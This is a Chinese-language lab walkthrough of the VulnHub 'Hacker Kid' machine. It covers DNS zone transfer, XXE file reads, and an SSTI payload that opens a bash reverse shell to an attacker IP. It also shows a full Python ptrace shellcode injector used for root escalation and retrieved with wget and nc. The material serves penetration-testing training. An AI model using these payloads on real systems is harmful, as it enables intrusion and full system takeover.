靶机介绍
1)靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
2)靶机难度:中
3)打靶目标: 取得 root 权限
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、DNS区域传输、XXE注入攻击、PHP封装器、SSTI模板注入、Capabilitie提权
5)本次靶机是一个OSCP风格的靶机,OSCP风格的靶机主要目的不是为了获取flag,而是获取root权限(提示:关注信息搜集,不需要蛮力爆破,再每一步都有适当的提示)。本次靶机主要介绍了XXE、SSTI、DNS AXFR等较新的漏洞攻击方法。提权环节,用到了Capabilitie实现提权。
打靶过程
1)主机发现
# arp-scan -l
2)对目标主机进行全端口扫描
3)开放端口的服务版本扫描
注:Tornado是一个轻量级的python的web框架,注重性能和效率;DNS为域名解析服务,通常上网时,使用的是UDP的53端口,TCP的53端口一般在DNS服务器上也是开放的,但是TCP的53端口一般用于同一个域的两台域名服务器之间做数据同步、数据交换
DNS的服务端软件BIND 9.16.1存在远程代码执行漏洞(CVE-202--8625、CVE-2021-25261),但是没有找到漏洞利用代码,无法直接通过该漏洞获取到服务器权限
4)针对DNS的UDP53端口进行扫描:扫描发现UDP的53端口也是开放的
# nmap -p53 -sU 192.168.56.114
5)对80端口的web页面进行信息搜集
①直接访问靶机地址,返回如下页面
http://192.168.56.114/
②访问网页第一个链接start,返回404,但是访问index.php,又返回了上面页面,说明网站是通过php开发的,且目标主机存在index.php文件
http://192.168.56.114/index.html #返回404
http://192.168.56.114/index.php #跳转至首页
③访问网页第二个链接App,返现URL变为如下形式,#表示网页中一个标记(通过该标记可以在同一个页面插入标记对应的链接)。把标记删除,直接访问app.html,出现如下页面
http://192.168.56.114/index.php#app.html
http://192.168.56.114/app.html
对上述页面进行简单测试,任何按钮都无任何相应
④访问网页第三个链接Form example ,返回页面如下:该页面也未发现任何漏洞
http://192.168.56.114/form.html
⑤查看页面源代码,发现最下方的注释中,出现了如下提示:页面存在一个参数page_no,通过该参数进行访问
⑥因page_no是一个参数名,通过参数名可猜测参数值有可能为1、2、3等数字,利用Burp进行抓包,然后通过Inturder模块,对参数值进行爆破,发现当page_no=21时,页面返回了不同的信息
http://192.168.56.114/?page_no=1
⑦对页面进行访问,页面如下
通过提示可知,黑客通过DNS创建了一些子域名,而且通过子域名可以访问到不同的web页面,所以,解析来需要找到这些子域,而且提示信息也给出了一个域名:hackers.blackhat.local
6)通过编辑hosts文件,使其域名得到解析:设置本地域名解析后,通过域名访问,发现获取到的页面和通过IP访问获取到的页面一致
#vi /etc/hosts
192.168.56.114 hackers.blackhat.local
8)对目标服务器进行域名查询(dig)
AXFR:向DNS服务器发送一个AXFR的请求,如果这个DNS服务器支持ASFR这个区域传输请求,就会把这台服务器中指定DNS区域的所有DNS记录(包括A记录、CNAME记录)返回,即拿到了这个区域下所有的DNS记录
# dig axfr @192.168.56.114 blackhat.local
因该服务器没有做安全配置,使得该服务器存在一个axfr漏洞,即任何人发送asfr请求时,都会将服务器的DNS记录返回给客户端
9)在本地hosts文件中中添加上图dig解析出的域名和IP对应关系
#vi hosts
192.168.56.114 hackers.blackhat.local
192.168.56.114 blackhat.local
192.168.56.114 hackerkid.blackhat.local
192.168.56.114 hacker.blackhat.local.blackhat.local
192.168.56.114 www.blackhat.local.
192.168.56.114 mail.blackhat.local
①发现通过域名hackerkid.blackhat.local访问出现如下新的页面
②通过IP访问9999端口,显示如下界面:测试发现,通过域名:9999访问,页面全部都是如下页面。因靶机作者提示,暴力破解无效,因此不做对该网页的暴力破解测试,遇到其他靶机出现如下登录页面,可以进行暴力破解测试。
11)通过在如下页面的表单提交相应数据:发现在email处,输入任何格式的内容,都提示输入有误
①表单提交时,通过Burpx抓取对应数据包,如下
②XML数据如下:
根据抓取的数据包显示:所有的数据都是通过XML文档的方式提交,发送到目标服务器,但是邮件位置,无论发送任何数据,都有问题。因数据是通过XML方式提交,所以可以怀疑是否存在XXE漏洞。
补充:
①XXE漏洞介绍:xxe即xml的外部实体攻击,一般针对xxe引用外部实体的场景,该漏洞类型主要针对服务器端接受客户端提交的XML的数据格式,同时服务器端的XML格式的解析器本身存在漏洞或者解析器的规则存在漏洞,导致恶意用户提价的恶意XML请求,发送到服务器,触发了不应该执行的结果。
②XXE漏洞危害:xxe可以导致任意文件读取、可基于XXE攻击结合SSRF、端口扫描、拒绝服务攻击等其他攻击手段
③XML:xml也是一种标记语言,但是xml相比于html语言更加的灵活(因为XML的标记可以是自定义的),通过这种自定义的方式,可以利用XML存储、传输数据,甚至计算机编程语言中基本的数据结构都可以通过XML来进行结构化,表示该种数据结构。有时候XML也会应用在身份认证过程中,传输身份认证信息。xml中的变量名可以通过标签标记
④XXE漏洞存在原理:XML文档可以包含dtd文档结构,dtd主要用于定义XML的文档结构以及其中包含的数据。同时dtd也可以从外部引用或加载外部的资源,如服务器中存放了某个特殊的文件,包含某些机密的信息,如果服务器存在XXE漏洞,那么攻击者可以通过dtd读取机密文件。
⑤XXE漏洞挖掘最典型特征:向服务器提交一个数据,服务器原封不动的将数据返回到了web界面,如果符合该特征,则可进行XXE漏洞的验证(由于之前在email输入的任何内容,最后都会返回的web页面,如果符合该条件,则有理由怀疑此处存在XXE漏洞.)
12)XXE漏洞测试:在xml中插入对其他web资源的引用,并且让web页面,把插入的资源完整的返回。
</--即把外部文件file:///etc/passwd的内容赋值给xxe变量,并在email位置,对其的赋值修改为&xxe。如果存在xxe漏洞,则会把/etc/passwd的文件内容显示到web页面上>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
根据上图显示,确实存在XXE漏洞;并且根据搜索发现,存在一个可以登录的用户saket
12)通过对saket用户家目录下各个文件进行读取,发现.bashrc文件中存在一些系统基础配置之外的内容。直接读取文件时,无法正常读取,可通过PHP封装器的方式(上一次打靶使用过)读取出文件内容
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
13)将读取出的.bashrc文件的base64编码通过Burp的Decode功能,进行还原。通过还原在.bashrc文件中,发现了如下信息,即一个账户名和密码
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
14)因目标系统未扫描到22端口,所以无法通过该用户名和密码登录至目标服务器。尝试使用该用户名和密码登录其他应用。
①在目标IP:9999的web页面中,也无法通过该用户名和密码进行登录。
②通过观察密码,发现密码中存在字符Saket,且该主机存在一个Saket用户,尝试通过用户Saket和密码Saket!#$%@!!登录上述页面,发现可以正常登录。
14)通过对上述页面的提示,猜测是否存在一个name的参数,进行测试后,发现该页面确实存在一个name参数,但是输入任何的参数值都会原样显示到页面上
http://192.168.56.114:9999/?name=Bob
结合上述页面样式的分析,猜测是否存在模板注入漏洞
补充:SSTI服务器端模板注入
①模板:把最终展示给用户的页面,先做好一些区域的定义,例如某个区域用于显示用户名、某些区域用于显示用户邮箱等。把某个页面的展示,做成一个模板保存下来,接下来就可以在服务器端进行程序开发时,针对不同的用户、用户的邮件地址等信息,取出数据后直接放置在之前模板定义是对应的固定区域上,按照这种方法,不同的用户登录,都按照相同的页面版式,显示各自的用户名、邮件等信息。通过模板的方式,可以极大的降低开发工作。
②一个模板本质是其实就是一个html的页面,在body标签中可以放置模板的占位符(变量),后端数据再传输到占位符的位置,按照固定的样式显示出来。如下模板的占位标识符为{{}}表示,插入指令,使用{% %}占位符。不同的模板语言,占位标识符可能有所不同
<html>
<body>
<h1>{{ list_title }}</h1h1>
<h2>{{ list_description }}</h2>
{% for item in item_list %}
{{ item }}
{{ if not loop.last }}
{% endfor %}
</body>
</html>
③常见的模板语言有jinjia2、Mako、Django、Twig、smarty等,不同的模板语言,在制定表达式、表示语句的符号等都不一样
④SSTI模板漏洞场景:如果服务端代码是按照如下方式编写,则服务端所有提交的数据,都会拼接在如下包含了模板元素的HTML中,因此可以完成对客户端提交数据的篡改,将其修改成不同程序的代码(类似SQL注入),即服务端对客户端提交的数据没有做任何的过滤,就拼接到了构造出的模板的页面上,如果客户端提交的代码可以生效,则一般都可以获取到反弹shell
from jinjia2 import Template
tmpl = Template("<html><h1>Hello " + user_input + "</h1></html>") print(tmpl.render())
15)对本次靶机的web页面测试过程中发现,每当对name参数名赋予不同的参数值的时候,返回的页面样式基本相同,因此可怀疑此处存在SSTI服务器模板注入。
①测试注入,使用如下通杀payload测试是否存在SSTI模板注入(适用于几乎所有的SSTI模板注入漏洞测试)
{{1+adcxyz}}${1+adcxyz}<%1+abcxyz%>[abcxyz]
http://192.168.56.114:9999/?name={{1+adcxyz}}${1+adcxyz}<%1+abcxyz%>[abcxyz]
#解释:
abcxyz写任何字符都行,但最好使用无规律的字符组合,保证在目标服务器上没有定义过该函数
当出现报错信息时,则表示存在SSTI模板注入
通过上述返回的结果可知,服务器端使用的是tornado的web开发框架,web程序语言版本为python3.8
②验证SSTI版本注入是否存在(通用)
${7*7},{{7*7}}
http://192.168.56.114:9999/?name=${7*7},{{7*7}}
测试发现,前面的一段没有被执行,原样的返回到了页面上,但是之后的7*7被执行
③测试其他数值,表示7*7该数学运算表达式被Python执行了
http://192.168.56.114:9999/?name={{7*7}}
16)构造一段代码,使其在服务器端被执行,反弹回一个shell。通过如下代码课时实现对模板进行注入
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
①直接通过上述代码进行测试,发现没有成功反弹shell(该现象为模板注入是经常出现的情况,出现此种现象可以对payload做一些编码转化)
192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
②将payload中的字符转化为对应的ascii码,使用ascii命令,可以查看字符的ascii码
# ascii
编码前:192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
编码后:192.168.56.114:9999/?name=192.168.56.114:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.103%2F4444%200%3E%261%22%27%29%7D%7D
编码后,在kali进行监听,则反弹shell成功,成功突破边界
补充:
①Capabilitie功能介绍:主要用于权限管理,Linux内核2.2版本后引入。常用于把root用户才能执行的特权操作,分成了40多个功能组,每个功能组都能单独进行权限的指派。当用户拥有每一种不同的权限时,如果某个程序被指派了某种特殊权限,即使用户不是root账号、root组成员、没有任何suid、sgid权限,仍然可以执行某些特权操作。
#如下配置方式表示:设置当前账号对/usr/bin/dumpcap程序(tcpdump抓包底层程序)具备cap_net_raw(抓包)、cap_net_admin(管理)的能力
setcap cap_net_raw,cap_net_admin /usr/bin/dumpcap
#该文档详细的说明了40多种Capabilitie功能组的权限设置,表示的功能
https://man7.org/linux/man-pages/man7/capabilities.7.html
②查看系统上所有的应用程序被赋予的Capabilitie权限
saket@ubuntu:~$ getcap -r / 2>/dev/null
17)查找目标靶机中saket用户的所有的应用程序的Capabilitie权限
saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
18)在上述的应用程序Capabilitie权限中,cap_sys_ptrace可以用于提权使用,ptrace具备操作系统进程的动态调试跟踪的能力,而具备该能力的程序,都可以把系统当前运行的应用程序附加到上面,之后针对连接上的程序进行动态调试等。
①在目标靶机上找到以root账号来运行的系统进程,针对这些系统进程,使用python2.7的ptrace权限,把当前用户权限提示至root
saket@ubuntu:~$ ps -aef|grep root
②下载利用该权限漏洞的python脚本
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
19)提权
原理:使用python2.7该应用程序的cap_sys_ptrace权限,调用进程注入的脚本inject.py,注入到刚才发现的以root用户运行的系统运行的ID中
inject.py脚本作用:结合cap_sys_ptrace权限,把后门程序注入到以root用户运行的系统进程中,后门注入成功后,会在本地开发一个侦听端口,端口号为5600
①下载漏洞利用代码,并进行利用
$ wget http://192.168.56.103/inject.py
$ python2.7 inject.py 890
saket@ubuntu:~$ ss -pantu|grep 5600 #查看是否开启了5600端口,开启表示已经注入成功了
②kali主机连接侦听端口,获取到root权限
# nc 192.168.56.114 5600